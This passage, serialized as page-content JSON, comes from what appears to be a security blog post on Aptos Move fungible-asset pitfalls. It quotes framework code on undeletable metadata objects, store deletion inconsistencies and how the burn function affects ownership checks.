deletion",{"type":26,"tag":35,"props":62565,"children":62566},{},[62567,62569,62575],{"type":32,"value":62568},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":26,"tag":53,"props":62570,"children":62572},{"className":62571},[],[62573],{"type":32,"value":62574},"fungible_asset::add_fungibility",{"type":32,"value":179},{"type":26,"tag":465,"props":62577,"children":62579},{"className":2685,"code":62578,"language":2684,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62580],{"type":26,"tag":53,"props":62581,"children":62582},{"__ignoreMap":7},[62583],{"type":26,"tag":475,"props":62584,"children":62585},{"class":477,"line":478},[62586,62590,62594,62598,62603,62607,62612,62616,62621,62626,62630,62634],{"type":26,"tag":475,"props":62587,"children":62588},{"style":493},[62589],{"type":32,"value":41673},{"type":26,"tag":475,"props":62591,"children":62592},{"style":499},[62593],{"type":32,"value":626},{"type":26,"tag":475,"props":62595,"children":62596},{"style":714},[62597],{"type":32,"value":20329},{"type":26,"tag":475,"props":62599,"children":62600},{"style":499},[62601],{"type":32,"value":62602},"object",{"type":26,"tag":475,"props":62604,"children":62605},{"style":714},[62606],{"type":32,"value":3187},{"type":26,"tag":475,"props":62608,"children":62609},{"style":493},[62610],{"type":32,"value":62611},"can_generate_delete_ref",{"type":26,"tag":475,"props":62613,"children":62614},{"style":499},[62615],{"type":32,"value":626},{"type":26,"tag":475,"props":62617,"children":62618},{"style":2375},[62619],{"type":32,"value":62620},"constructor_ref",{"type":26,"tag":475,"props":62622,"children":62623},{"style":499},[62624],{"type":32,"value":62625},"), error",{"type":26,"tag":475,"props":62627,"children":62628},{"style":714},[62629],{"type":32,"value":3187},{"type":26,"tag":475,"props":62631,"children":62632},{"style":493},[62633],{"type":32,"value":62066},{"type":26,"tag":475,"props":62635,"children":62636},{"style":499},[62637],{"type":32,"value":62638},"(EOBJECT_IS_DELETABLE));\n",{"type":26,"tag":35,"props":62640,"children":62641},{},[62642,62644,62649,62651,62656,62657,62664],{"type":32,"value":62643},"This object serves as the foundation for ownership tokens in the form of a ",{"type":26,"tag":53,"props":62645,"children":62647},{"className":62646},[],[62648],{"type":32,"value":61203},{"type":32,"value":62650},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":26,"tag":53,"props":62652,"children":62654},{"className":62653},[],[62655],{"type":32,"value":62574},{"type":32,"value":6171},{"type":26,"tag":116,"props":62658,"children":62661},{"href":62659,"rel":62660},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[120],[62662],{"type":32,"value":62663},"lacked this assert",{"type":32,"value":62665},", which we discovered and reported.",{"type":26,"tag":35,"props":62667,"children":62668},{},[62669,62674,62676,62681,62683,62688],{"type":26,"tag":53,"props":62670,"children":62672},{"className":62671},[],[62673],{"type":32,"value":62574},{"type":32,"value":62675}," transfers the ",{"type":26,"tag":53,"props":62677,"children":62679},{"className":62678},[],[62680],{"type":32,"value":61262},{"type":32,"value":62682}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":26,"tag":53,"props":62684,"children":62686},{"className":62685},[],[62687],{"type":32,"value":61203},{"type":32,"value":62689}," can be minted, representing a share of ownership in that object.",{"type":26,"tag":465,"props":62691,"children":62693},{"className":2685,"code":62692,"language":2684,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[62694],{"type":26,"tag":53,"props":62695,"children":62696},{"__ignoreMap":7},[62697,62705,62725,62740,62767,62782,62803,62815,62827,62839,62851,62863,62875,62882,62889,62904],{"type":26,"tag":475,"props":62698,"children":62699},{"class":477,"line":478},[62700],{"type":26,"tag":475,"props":62701,"children":62702},{"style":552},[62703],{"type":32,"value":62704},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":26,"tag":475,"props":62706,"children":62707},{"class":477,"line":516},[62708,62712,62716,62721],{"type":26,"tag":475,"props":62709,"children":62710},{"style":2375},[62711],{"type":32,"value":61367},{"type":26,"tag":475,"props":62713,"children":62714},{"style":2375},[62715],{"type":32,"value":490},{"type":26,"tag":475,"props":62717,"children":62718},{"style":493},[62719],{"type":32,"value":62720}," add_fungibility",{"type":26,"tag":475,"props":62722,"children":62723},{"style":499},[62724],{"type":32,"value":3169},{"type":26,"tag":475,"props":62726,"children":62727},{"class":477,"line":539},[62728,62732,62736],{"type":26,"tag":475,"props":62729,"children":62730},{"style":499},[62731],{"type":32,"value":62410},{"type":26,"tag":475,"props":62733,"children":62734},{"style":714},[62735],{"type":32,"value":9300},{"type":26,"tag":475,"props":62737,"children":62738},{"style":499},[62739],{"type":32,"value":11481},{"type":26,"tag":475,"props":62741,"children":62742},{"class":477,"line":548},[62743,62747,62751,62755,62759,62763],{"type":26,"tag":475,"props":62744,"children":62745},{"style":499},[62746],{"type":32,"value":2835},{"type":26,"tag":475,"props":62748,"children":62749},{"style":714},[62750],{"type":32,"value":179},{"type":26,"tag":475,"props":62752,"children":62753},{"style":505},[62754],{"type":32,"value":61253},{"type":26,"tag":475,"props":62756,"children":62757},{"style":499},[62758],{"type":32,"value":5519},{"type":26,"tag":475,"props":62760,"children":62761},{"style":505},[62762],{"type":32,"value":61262},{"type":26,"tag":475,"props":62764,"children":62765},{"style":499},[62766],{"type":32,"value":6994},{"type":26,"tag":475,"props":62768,"children":62769},{"class":477,"line":558},[62770,62774,62778],{"type":26,"tag":475,"props":62771,"children":62772},{"style":499},[62773],{"type":32,"value":62410},{"type":26,"tag":475,"props":62775,"children":62776},{"style":714},[62777],{"type":32,"value":9300},{"type":26,"tag":475,"props":62779,"children":62780},{"style":499},[62781],{"type":32,"value":11481},{"type":26,"tag":475,"props":62783,"children":62784},{"class":477,"line":582},[62785,62790,62794,62799],{"type":26,"tag":475,"props":62786,"children":62787},{"style":493},[62788],{"type":32,"value":62789}," move_to",{"type":26,"tag":475,"props":62791,"children":62792},{"style":499},[62793],{"type":32,"value":626},{"type":26,"tag":475,"props":62795,"children":62796},{"style":2375},[62797],{"type":32,"value":62798},"metadata_object_signer",{"type":26,"tag":475,"props":62800,"children":62801},{"style":499},[62802],{"type":32,"value":2425},{"type":26,"tag":475,"props":62804,"children":62805},{"class":477,"line":596},[62806,62811],{"type":26,"tag":475,"props":62807,"children":62808},{"style":505},[62809],{"type":32,"value":62810}," Metadata",{"type":26,"tag":475,"props":62812,"children":62813},{"style":499},[62814],{"type":32,"value":579},{"type":26,"tag":475,"props":62816,"children":62817},{"class":477,"line":610},[62818,62823],{"type":26,"tag":475,"props":62819,"children":62820},{"style":2375},[62821],{"type":32,"value":62822}," name",{"type":26,"tag":475,"props":62824,"children":62825},{"style":499},[62826],{"type":32,"value":2425},{"type":26,"tag":475,"props":62828,"children":62829},{"class":477,"line":650},[62830,62835],{"type":26,"tag":475,"props":62831,"children":62832},{"style":2375},[62833],{"type":32,"value":62834}," symbol",{"type":26,"tag":475,"props":62836,"children":62837},{"style":499},[62838],{"type":32,"value":2425},{"type":26,"tag":475,"props":62840,"children":62841},{"class":477,"line":679},[62842,62847],{"type":26,"tag":475,"props":62843,"children":62844},{"style":2375},[62845],{"type":32,"value":62846}," decimals",{"type":26,"tag":475,"props":62848,"children":62849},{"style":499},[62850],{"type":32,"value":2425},{"type":26,"tag":475,"props":62852,"children":62853},{"class":477,"line":735},[62854,62859],{"type":26,"tag":475,"props":62855,"children":62856},{"style":2375},[62857],{"type":32,"value":62858}," icon_uri",{"type":26,"tag":475,"props":62860,"children":62861},{"style":499},[62862],{"type":32,"value":2425},{"type":26,"tag":475,"props":62864,"children":62865},{"class":477,"line":744},[62866,62871],{"type":26,"tag":475,"props":62867,"children":62868},{"style":2375},[62869],{"type":32,"value":62870}," project_uri",{"type":26,"tag":475,"props":62872,"children":62873},{"style":499},[62874],{"type":32,"value":2425},{"type":26,"tag":475,"props":62876,"children":62877},{"class":477,"line":753},[62878],{"type":26,"tag":475,"props":62879,"children":62880},{"style":499},[62881],{"type":32,"value":750},{"type":26,"tag":475,"props":62883,"children":62884},{"class":477,"line":761},[62885],{"type":26,"tag":475,"props":62886,"children":62887},{"style":499},[62888],{"type":32,"value":43347},{"type":26,"tag":475,"props":62890,"children":62891},{"class":477,"line":770},[62892,62896,62900],{"type":26,"tag":475,"props":62893,"children":62894},{"style":499},[62895],{"type":32,"value":3440},{"type":26,"tag":475,"props":62897,"children":62898},{"style":714},[62899],{"type":32,"value":9300},{"type":26,"tag":475,"props":62901,"children":62902},{"style":499},[62903],{"type":32,"value":11481},{"type":26,"tag":475,"props":62905,"children":62906},{"class":477,"line":794},[62907],{"type":26,"tag":475,"props":62908,"children":62909},{"style":499},[62910],{"type":32,"value":3607},{"type":26,"tag":18502,"props":62912,"children":62913},{},[],{"type":26,"tag":35,"props":62915,"children":62916},{},[62917,62919,62924,62926,62931],{"type":32,"value":62918},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":26,"tag":53,"props":62920,"children":62922},{"className":62921},[],[62923],{"type":32,"value":61768},{"type":32,"value":62925}," is also an object, and a \"secondary\" ",{"type":26,"tag":53,"props":62927,"children":62929},{"className":62928},[],[62930],{"type":32,"value":61768},{"type":32,"value":62932}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":26,"tag":465,"props":62934,"children":62936},{"className":2685,"code":62935,"language":2684,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[62937],{"type":26,"tag":53,"props":62938,"children":62939},{"__ignoreMap":7},[62940,62948,62990,62997,63005],{"type":26,"tag":475,"props":62941,"children":62942},{"class":477,"line":478},[62943],{"type":26,"tag":475,"props":62944,"children":62945},{"style":552},[62946],{"type":32,"value":62947},"//Fungible asset\n",{"type":26,"tag":475,"props":62949,"children":62950},{"class":477,"line":516},[62951,62955,62959,62964,62968,62973,62977,62981,62986],{"type":26,"tag":475,"props":62952,"children":62953},{"style":2375},[62954],{"type":32,"value":61367},{"type":26,"tag":475,"props":62956,"children":62957},{"style":2375},[62958],{"type":32,"value":490},{"type":26,"tag":475,"props":62960,"children":62961},{"style":493},[62962],{"type":32,"value":62963}," remove_store",{"type":26,"tag":475,"props":62965,"children":62966},{"style":499},[62967],{"type":32,"value":626},{"type":26,"tag":475,"props":62969,"children":62970},{"style":2375},[62971],{"type":32,"value":62972},"delete_ref",{"type":26,"tag":475,"props":62974,"children":62975},{"style":714},[62976],{"type":32,"value":179},{"type":26,"tag":475,"props":62978,"children":62979},{"style":714},[62980],{"type":32,"value":6854},{"type":26,"tag":475,"props":62982,"children":62983},{"style":505},[62984],{"type":32,"value":62985},"DeleteRef",{"type":26,"tag":475,"props":62987,"children":62988},{"style":499},[62989],{"type":32,"value":647},{"type":26,"tag":475,"props":62991,"children":62992},{"class":477,"line":539},[62993],{"type":26,"tag":475,"props":62994,"children":62995},{"emptyLinePlaceholder":18},[62996],{"type":32,"value":545},{"type":26,"tag":475,"props":62998,"children":62999},{"class":477,"line":548},[63000],{"type":26,"tag":475,"props":63001,"children":63002},{"style":552},[63003],{"type":32,"value":63004},"//Object\n",{"type":26,"tag":475,"props":63006,"children":63007},{"class":477,"line":558},[63008,63012,63016,63021,63025,63030,63034,63039],{"type":26,"tag":475,"props":63009,"children":63010},{"style":2375},[63011],{"type":32,"value":61367},{"type":26,"tag":475,"props":63013,"children":63014},{"style":2375},[63015],{"type":32,"value":490},{"type":26,"tag":475,"props":63017,"children":63018},{"style":493},[63019],{"type":32,"value":63020}," delete",{"type":26,"tag":475,"props":63022,"children":63023},{"style":499},[63024],{"type":32,"value":626},{"type":26,"tag":475,"props":63026,"children":63027},{"style":482},[63028],{"type":32,"value":63029},"ref",{"type":26,"tag":475,"props":63031,"children":63032},{"style":714},[63033],{"type":32,"value":179},{"type":26,"tag":475,"props":63035,"children":63036},{"style":505},[63037],{"type":32,"value":63038}," DeleteRef",{"type":26,"tag":475,"props":63040,"children":63041},{"style":499},[63042],{"type":32,"value":647},{"type":26,"tag":35,"props":63044,"children":63045},{},[63046,63048,63054,63056,63061,63063,63068,63070,63075,63077,63083,63085,63091,63093,63098],{"type":32,"value":63047},"When ",{"type":26,"tag":53,"props":63049,"children":63051},{"className":63050},[],[63052],{"type":32,"value":63053},"object::delete",{"type":32,"value":63055}," removes the ",{"type":26,"tag":53,"props":63057,"children":63059},{"className":63058},[],[63060],{"type":32,"value":48544},{"type":32,"value":63062}," from a ",{"type":26,"tag":53,"props":63064,"children":63066},{"className":63065},[],[63067],{"type":32,"value":61768},{"type":32,"value":63069}," object, the ",{"type":26,"tag":53,"props":63071,"children":63073},{"className":63072},[],[63074],{"type":32,"value":61768},{"type":32,"value":63076}," resource becomes permanently undeletable. This is because ",{"type":26,"tag":53,"props":63078,"children":63080},{"className":63079},[],[63081],{"type":32,"value":63082},"remove_store",{"type":32,"value":63084}," can't create an ",{"type":26,"tag":53,"props":63086,"children":63088},{"className":63087},[],[63089],{"type":32,"value":63090},"Object\u003CFungibleStore>",{"type":32,"value":63092}," without an ",{"type":26,"tag":53,"props":63094,"children":63096},{"className":63095},[],[63097],{"type":32,"value":48544},{"type":32,"value":63099}," underneath, causing the operation to fail.",{"type":26,"tag":465,"props":63101,"children":63103},{"className":2685,"code":63102,"language":2684,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[63104],{"type":26,"tag":53,"props":63105,"children":63106},{"__ignoreMap":7},[63107,63162,63214,63229],{"type":26,"tag":475,"props":63108,"children":63109},{"class":477,"line":478},[63110,63114,63118,63122,63126,63130,63134,63138,63142,63146,63150,63154,63158],{"type":26,"tag":475,"props":63111,"children":63112},{"style":2375},[63113],{"type":32,"value":61367},{"type":26,"tag":475,"props":63115,"children":63116},{"style":2375},[63117],{"type":32,"value":490},{"type":26,"tag":475,"props":63119,"children":63120},{"style":493},[63121],{"type":32,"value":62963},{"type":26,"tag":475,"props":63123,"children":63124},{"style":499},[63125],{"type":32,"value":626},{"type":26,"tag":475,"props":63127,"children":63128},{"style":2375},[63129],{"type":32,"value":62972},{"type":26,"tag":475,"props":63131,"children":63132},{"style":714},[63133],{"type":32,"value":179},{"type":26,"tag":475,"props":63135,"children":63136},{"style":714},[63137],{"type":32,"value":6854},{"type":26,"tag":475,"props":63139,"children":63140},{"style":505},[63141],{"type":32,"value":62985},{"type":26,"tag":475,"props":63143,"children":63144},{"style":499},[63145],{"type":32,"value":2794},{"type":26,"tag":475,"props":63147,"children":63148},{"style":2375},[63149],{"type":32,"value":6057},{"type":26,"tag":475,"props":63151,"children":63152},{"style":499},[63153],{"type":32,"value":22741},{"type":26,"tag":475,"props":63155,"children":63156},{"style":714},[63157],{"type":32,"value":9300},{"type":26,"tag":475,"props":63159,"children":63160},{"style":499},[63161],{"type":32,"value":61458},{"type":26,"tag":475,"props":63163,"children":63164},{"class":477,"line":516},[63165,63169,63173,63177,63181,63185,63189,63194,63198,63202,63206,63210],{"type":26,"tag":475,"props":63166,"children":63167},{"style":482},[63168],{"type":32,"value":2705},{"type":26,"tag":475,"props":63170,"children":63171},{"style":2375},[63172],{"type":32,"value":5544},{"type":26,"tag":475,"props":63174,"children":63175},{"style":714},[63176],{"type":32,"value":2383},{"type":26,"tag":475,"props":63178,"children":63179},{"style":714},[63180],{"type":32,"value":6854},{"type":26,"tag":475,"props":63182,"children":63183},{"style":499},[63184],{"type":32,"value":62602},{"type":26,"tag":475,"props":63186,"children":63187},{"style":714},[63188],{"type":32,"value":3187},{"type":26,"tag":475,"props":63190,"children":63191},{"style":2375},[63192],{"type":32,"value":63193},"object_from_delete_ref",{"type":26,"tag":475,"props":63195,"children":63196},{"style":499},[63197],{"type":32,"value":5519},{"type":26,"tag":475,"props":63199,"children":63200},{"style":505},[63201],{"type":32,"value":61768},{"type":26,"tag":475,"props":63203,"children":63204},{"style":499},[63205],{"type":32,"value":7323},{"type":26,"tag":475,"props":63207,"children":63208},{"style":2375},[63209],{"type":32,"value":62972},{"type":26,"tag":475,"props":63211,"children":63212},{"style":499},[63213],{"type":32,"value":3533},{"type":26,"tag":475,"props":63215,"children":63216},{"class":477,"line":539},[63217,63221,63225],{"type":26,"tag":475,"props":63218,"children":63219},{"style":499},[63220],{"type":32,"value":62410},{"type":26,"tag":475,"props":63222,"children":63223},{"style":714},[63224],{"type":32,"value":9300},{"type":26,"tag":475,"props":63226,"children":63227},{"style":499},[63228],{"type":32,"value":11481},{"type":26,"tag":475,"props":63230,"children":63231},{"class":477,"line":548},[63232],{"type":26,"tag":475,"props":63233,"children":63234},{"style":499},[63235],{"type":32,"value":3607},{"type":26,"tag":35,"props":63237,"children":63238},{},[63239,63241,63246,63248,63254,63256,63261],{"type":32,"value":63240},"In addition, such \"deleted\" ",{"type":26,"tag":53,"props":63242,"children":63244},{"className":63243},[],[63245],{"type":32,"value":61768},{"type":32,"value":63247}," objects remain at least partially operable. For instance, ",{"type":26,"tag":53,"props":63249,"children":63251},{"className":63250},[],[63252],{"type":32,"value":63253},"fungible_asset::deposit",{"type":32,"value":63255}," does not check the ",{"type":26,"tag":53,"props":63257,"children":63259},{"className":63258},[],[63260],{"type":32,"value":48544},{"type":32,"value":63262}," existence.",{"type":26,"tag":41,"props":63264,"children":63266},{"id":63265},"ownership",[63267],{"type":32,"value":63268},"Ownership",{"type":26,"tag":35,"props":63270,"children":63271},{},[63272,63274,63279,63281,63287,63289,63294],{"type":32,"value":63273},"Each object has an owner. Fungible assets rely on the ",{"type":26,"tag":53,"props":63275,"children":63277},{"className":63276},[],[63278],{"type":32,"value":48544},{"type":32,"value":63280}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":26,"tag":53,"props":63282,"children":63284},{"className":63283},[],[63285],{"type":32,"value":63286},"object::owns",{"type":32,"value":63288}," to confirm ownership of the ",{"type":26,"tag":53,"props":63290,"children":63292},{"className":63291},[],[63293],{"type":32,"value":61768},{"type":32,"value":49869},{"type":26,"tag":465,"props":63296,"children":63298},{"className":2685,"code":63297,"language":2684,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[63299],{"type":26,"tag":53,"props":63300,"children":63301},{"__ignoreMap":7},[63302,63350,63374,63401,63421,63449,63517,63532],{"type":26,"tag":475,"props":63303,"children":63304},{"class":477,"line":478},[63305,63309,63313,63317,63321,63325,63330,63334,63338,63342,63346],{"type":26,"tag":475,"props":63306,"children":63307},{"style":493},[63308],{"type":32,"value":61367},{"type":26,"tag":475,"props":63310,"children":63311},{"style":499},[63312],{"type":32,"value":626},{"type":26,"tag":475,"props":63314,"children":63315},{"style":2375},[63316],{"type":32,"value":6811},{"type":26,"tag":475,"props":63318,"children":63319},{"style":499},[63320],{"type":32,"value":2794},{"type":26,"tag":475,"props":63322,"children":63323},{"style":2375},[63324],{"type":32,"value":6820},{"type":26,"tag":475,"props":63326,"children":63327},{"style":2375},[63328],{"type":32,"value":63329}," withdraw_sanity_check",{"type":26,"tag":475,"props":63331,"children":63332},{"style":499},[63333],{"type":32,"value":5519},{"type":26,"tag":475,"props":63335,"children":63336},{"style":505},[63337],{"type":32,"value":5701},{"type":26,"tag":475,"props":63339,"children":63340},{"style":714},[63341],{"type":32,"value":179},{"type":26,"tag":475,"props":63343,"children":63344},{"style":2375},[63345],{"type":32,"value":5645},{"type":26,"tag":475,"props":63347,"children":63348},{"style":499},[63349],{"type":32,"value":6302},{"type":26,"tag":475,"props":63351,"children":63352},{"class":477,"line":516},[63353,63358,63362,63366,63370],{"type":26,"tag":475,"props":63354,"children":63355},{"style":2375},[63356],{"type":32,"value":63357}," owner",{"type":26,"tag":475,"props":63359,"children":63360},{"style":714},[63361],{"type":32,"value":179},{"type":26,"tag":475,"props":63363,"children":63364},{"style":714},[63365],{"type":32,"value":6854},{"type":26,"tag":475,"props":63367,"children":63368},{"style":2375},[63369],{"type":32,"value":6859},{"type":26,"tag":475,"props":63371,"children":63372},{"style":499},[63373],{"type":32,"value":2425},{"type":26,"tag":475,"props":63375,"children":63376},{"class":477,"line":539},[63377,63381,63385,63389,63393,63397],{"type":26,"tag":475,"props":63378,"children":63379},{"style":2375},[63380],{"type":32,"value":29116},{"type":26,"tag":475,"props":63382,"children":63383},{"style":714},[63384],{"type":32,"value":179},{"type":26,"tag":475,"props":63386,"children":63387},{"style":505},[63388],{"type":32,"value":61253},{"type":26,"tag":475,"props":63390,"children":63391},{"style":499},[63392],{"type":32,"value":5519},{"type":26,"tag":475,"props":63394,"children":63395},{"style":505},[63396],{"type":32,"value":5701},{"type":26,"tag":475,"props":63398,"children":63399},{"style":499},[63400],{"type":32,"value":5852},{"type":26,"tag":475,"props":63402,"children":63403},{"class":477,"line":548},[63404,63409,63413,63417],{"type":26,"tag":475,"props":63405,"children":63406},{"style":2375},[63407],{"type":32,"value":63408}," abort_on_dispatch",{"type":26,"tag":475,"props":63410,"children":63411},{"style":714},[63412],{"type":32,"value":179},{"type":26,"tag":475,"props":63414,"children":63415},{"style":505},[63416],{"type":32,"value":11759},{"type":26,"tag":475,"props":63418,"children":63419},{"style":499},[63420],{"type":32,"value":2425},{"type":26,"tag":475,"props":63422,"children":63423},{"class":477,"line":558},[63424,63428,63432,63436,63440,63445],{"type":26,"tag":475,"props":63425,"children":63426},{"style":499},[63427],{"type":32,"value":2794},{"type":26,"tag":475,"props":63429,"children":63430},{"style":2375},[63431],{"type":32,"value":6057},{"type":26,"tag":475,"props":63433,"children":63434},{"style":505},[63435],{"type":32,"value":61788},{"type":26,"tag":475,"props":63437,"children":63438},{"style":499},[63439],{"type":32,"value":637},{"type":26,"tag":475,"props":63441,"children":63442},{"style":505},[63443],{"type":32,"value":63444},"DispatchFunctionStore",{"type":26,"tag":475,"props":63446,"children":63447},{"style":499},[63448],{"type":32,"value":579},{"type":26,"tag":475,"props":63450,"children":63451},{"class":477,"line":582},[63452,63456,63461,63465,63470,63474,63478,63482,63486,63490,63494,63498,63503,63507,63512],{"type":26,"tag":475,"props":63453,"children":63454},{"style":493},[63455],{"type":32,"value":62036},{"type":26,"tag":475,"props":63457,"children":63458},{"style":499},[63459],{"type":32,"value":63460},"(object",{"type":26,"tag":475,"props":63462,"children":63463},{"style":714},[63464],{"type":32,"value":3187},{"type":26,"tag":475,"props":63466,"children":63467},{"style":493},[63468],{"type":32,"value":63469},"owns",{"type":26,"tag":475,"props":63471,"children":63472},{"style":499},[63473],{"type":32,"value":626},{"type":26,"tag":475,"props":63475,"children":63476},{"style":2375},[63477],{"type":32,"value":5654},{"type":26,"tag":475,"props":63479,"children":63480},{"style":499},[63481],{"type":32,"value":12644},{"type":26,"tag":475,"props":63483,"children":63484},{"style":714},[63485],{"type":32,"value":3187},{"type":26,"tag":475,"props":63487,"children":63488},{"style":493},[63489],{"type":32,"value":6922},{"type":26,"tag":475,"props":63491,"children":63492},{"style":499},[63493],{"type":32,"value":626},{"type":26,"tag":475,"props":63495,"children":63496},{"style":2375},[63497],{"type":32,"value":15315},{"type":26,"tag":475,"props":63499,"children":63500},{"style":499},[63501],{"type":32,"value":63502},")), error",{"type":26,"tag":475,"props":63504,"children":63505},{"style":714},[63506],{"type":32,"value":3187},{"type":26,"tag":475,"props":63508,"children":63509},{"style":493},[63510],{"type":32,"value":63511},"permission_denied",{"type":26,"tag":475,"props":63513,"children":63514},{"style":499},[63515],{"type":32,"value":63516},"(ENOT_STORE_OWNER));\n",{"type":26,"tag":475,"props":63518,"children":63519},{"class":477,"line":596},[63520,63524,63528],{"type":26,"tag":475,"props":63521,"children":63522},{"style":499},[63523],{"type":32,"value":62410},{"type":26,"tag":475,"props":63525,"children":63526},{"style":714},[63527],{"type":32,"value":9300},{"type":26,"tag":475,"props":63529,"children":63530},{"style":499},[63531],{"type":32,"value":11481},{"type":26,"tag":475,"props":63533,"children":63534},{"class":477,"line":610},[63535],{"type":26,"tag":475,"props":63536,"children":63537},{"style":499},[63538],{"type":32,"value":3607},{"type":26,"tag":35,"props":63540,"children":63541},{},[63542,63544,63549,63551,63557,63559,63565],{"type":32,"value":63543},"The thing to note is that defining ownership with ",{"type":26,"tag":53,"props":63545,"children":63547},{"className":63546},[],[63548],{"type":32,"value":63286},{"type":32,"value":63550}," can be tricky. The ",{"type":26,"tag":53,"props":63552,"children":63554},{"className":63553},[],[63555],{"type":32,"value":63556},"burn",{"type":32,"value":63558}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":26,"tag":53,"props":63560,"children":63562},{"className":63561},[],[63563],{"type":32,"value":63564},"BURN_ADDRESS",{"type":32,"value":63566}," while bypassing transfer restrictions:",{"type":26,"tag":465,"props":63568,"children":63570},{"className":2685,"code":63569,"language":2684,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[63571],{"type":26,"tag":53,"props":63572,"children":63573},{"__ignoreMap":7},[63574,63671,63712,63762,63791,63841,63862],{"type":26,"tag":475,"props":63575,"children":63576},{"class":477,"line":478},[63577,63581,63585,63589,63594,63598,63602,63606,63610,63614,63618,63622,63626,63630,63634,63638,63642,63646,63650,63654,63658,63662,63667],{"type":26,"tag":475,"props":63578,"children":63579},{"style":2375},[63580],{"type":32,"value":61367},{"type":26,"tag":475,"props":63582,"children":63583},{"style":2375},[63584],{"type":32,"value":62334},{"type":26,"tag":475,"props":63586,"children":63587},{"style":2375},[63588],{"type":32,"value":490},{"type":26,"tag":475,"props":63590,"children":63591},{"style":2375},[63592],{"type":32,"value":63593}," burn",{"type":26,"tag":475,"props":63595,"children":63596},{"style":499},[63597],{"type":32,"value":5519},{"type":26,"tag":475,"props":63599,"children":63600},{"style":505},[63601],{"type":32,"value":5701},{"type":26,"tag":475,"props":63603,"children":63604},{"style":714},[63605],{"type":32,"value":179},{"type":26,"tag":475,"props":63607,"children":63608},{"style":2375},[63609],{"type":32,"value":5645},{"type":26,"tag":475,"props":63611,"children":63612},{"style":499},[63613],{"type":32,"value":7323},{"type":26,"tag":475,"props":63615,"children":63616},{"style":2375},[63617],{"type":32,"value":15315},{"type":26,"tag":475,"props":63619,"children":63620},{"style":714},[63621],{"type":32,"value":179},{"type":26,"tag":475,"props":63623,"children":63624},{"style":714},[63625],{"type":32,"value":6854},{"type":26,"tag":475,"props":63627,"children":63628},{"style":2375},[63629],{"type":32,"value":6859},{"type":26,"tag":475,"props":63631,"children":63632},{"style":499},[63633],{"type":32,"value":637},{"type":26,"tag":475,"props":63635,"children":63636},{"style":2375},[63637],{"type":32,"value":62602},{"type":26,"tag":475,"props":63639,"children":63640},{"style":714},[63641],{"type":32,"value":179},{"type":26,"tag":475,"props":63643,"children":63644},{"style":505},[63645],{"type":32,"value":61253},{"type":26,"tag":475,"props":63647,"children":63648},{"style":499},[63649],{"type":32,"value":5519},{"type":26,"tag":475,"props":63651,"children":63652},{"style":505},[63653],{"type":32,"value":5701},{"type":26,"tag":475,"props":63655,"children":63656},{"style":499},[63657],{"type":32,"value":20154},{"type":26,"tag":475,"props":63659,"children":63660},{"style":2375},[63661],{"type":32,"value":6057},{"type":26,"tag":475,"props":63663,"children":63664},{"style":505},[63665],{"type":32,"value":63666}," ObjectCore",{"type":26,"tag":475,"props":63668,"children":63669},{"style":499},[63670],{"type":32,"value":579},{"type":26,"tag":475,"props":63672,"children":63673},{"class":477,"line":516},[63674,63678,63683,63687,63692,63696,63700,63704,63708],{"type":26,"tag":475,"props":63675,"children":63676},{"style":482},[63677],{"type":32,"value":2705},{"type":26,"tag":475,"props":63679,"children":63680},{"style":2375},[63681],{"type":32,"value":63682}," original_owner",{"type":26,"tag":475,"props":63684,"children":63685},{"style":714},[63686],{"type":32,"value":2383},{"type":26,"tag":475,"props":63688,"children":63689},{"style":499},[63690],{"type":32,"value":63691}," signer",{"type":26,"tag":475,"props":63693,"children":63694},{"style":714},[63695],{"type":32,"value":3187},{"type":26,"tag":475,"props":63697,"children":63698},{"style":493},[63699],{"type":32,"value":6922},{"type":26,"tag":475,"props":63701,"children":63702},{"style":499},[63703],{"type":32,"value":626},{"type":26,"tag":475,"props":63705,"children":63706},{"style":2375},[63707],{"type":32,"value":15315},{"type":26,"tag":475,"props":63709,"children":63710},{"style":499},[63711],{"type":32,"value":3533},{"type":26,"tag":475,"props":63713,"children":63714},{"class":477,"line":539},[63715,63719,63723,63728,63732,63736,63740,63745,63749,63753,63757],{"type":26,"tag":475,"props":63716,"children":63717},{"style":493},[63718],{"type":32,"value":62036},{"type":26,"tag":475,"props":63720,"children":63721},{"style":499},[63722],{"type":32,"value":626},{"type":26,"tag":475,"props":63724,"children":63725},{"style":493},[63726],{"type":32,"value":63727},"is_owner",{"type":26,"tag":475,"props":63729,"children":63730},{"style":499},[63731],{"type":32,"value":626},{"type":26,"tag":475,"props":63733,"children":63734},{"style":2375},[63735],{"type":32,"value":62602},{"type":26,"t